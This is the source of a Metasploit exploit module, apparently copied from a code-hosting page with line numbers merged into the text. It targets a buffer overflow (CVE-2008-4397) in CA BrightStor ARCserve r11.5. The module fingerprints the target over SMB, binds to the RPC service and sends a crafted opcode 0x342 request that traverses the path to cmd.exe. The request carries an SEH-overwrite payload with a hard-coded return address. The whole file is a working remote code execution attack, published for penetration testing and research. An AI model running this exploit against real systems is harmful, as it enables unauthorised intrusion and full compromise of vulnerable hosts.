Path: blob/master/modules/exploits/windows/brightstor/ca_arcserve_342.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::Remote::Seh1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',17'Description' => %q{18This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884).19By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer20and execute arbitrary code. In order to successfully exploit this vulnerability, you will need21set the hostname argument (HNAME).22},23'Author' => [ 'Nahuel Cayento Riva', 'MC' ],24'License' => MSF_LICENSE,25'References' => [26[ 'BID', '31684' ],27[ 'OSVDB', '49468' ],28[ 'CVE', '2008-4397' ],29[ 'URL', 'http://crackinglandia.blogspot.com/2009/10/el-colador-de-ca-computer-associates.html' ],30],31'Privileged' => true,32'DefaultOptions' => {33'EXITFUNC' => 'thread',34},35'Payload' => {36'Space' => 550,37'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",38'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",39},40'Platform' => 'win',41'Targets' => [42[ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.043],44'DisclosureDate' => '2008-10-09',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('HNAME', [ true, 'The NetBios hostname of the target.']),57Opt::RPORT(6504)58]59)60end6162def fingerprint63datastore['RPORT'] = 44564os = smb_fingerprint()65return os66end6768def exploit69path = fingerprint()7071if (path['os'] !~ /Windows/)72print_error("Target not supported!")73return74elsif (path['os'] =~ /Windows 2000/)75dir = "winnt"76offset = 44277else78dir = "windows"79offset = 43680end8182print_status("Identified OS '#{path['os']}', setting appropiate system path...")8384datastore['RPORT'] = 65048586connect()8788handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])89print_status("Binding to #{handle} ...")9091dcerpc_bind(handle)92print_status("Bound to #{handle} ...")9394buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret)9596sploit = NDR.string("#{datastore['HNAME'].upcase}")97sploit << NDR.string("..\\..\\..\\..\\..\\..\\..\\..\\..\\#{dir}\\system32\\cmd /c \"""\"""")98sploit << NDR.string(buffer)99sploit << NDR.string(rand_text_alpha_upper(20))100sploit << NDR.long(2)101sploit << NDR.long(2)102sploit << NDR.string(rand_text_alpha_upper(20))103sploit << NDR.long(0)104sploit << NDR.long(4)105106print_status("Trying target #{target.name}...")107108begin109dcerpc_call(342, sploit)110rescue Rex::Proto::DCERPC::Exceptions::NoResponse111end112113handler114disconnect115end116end117118119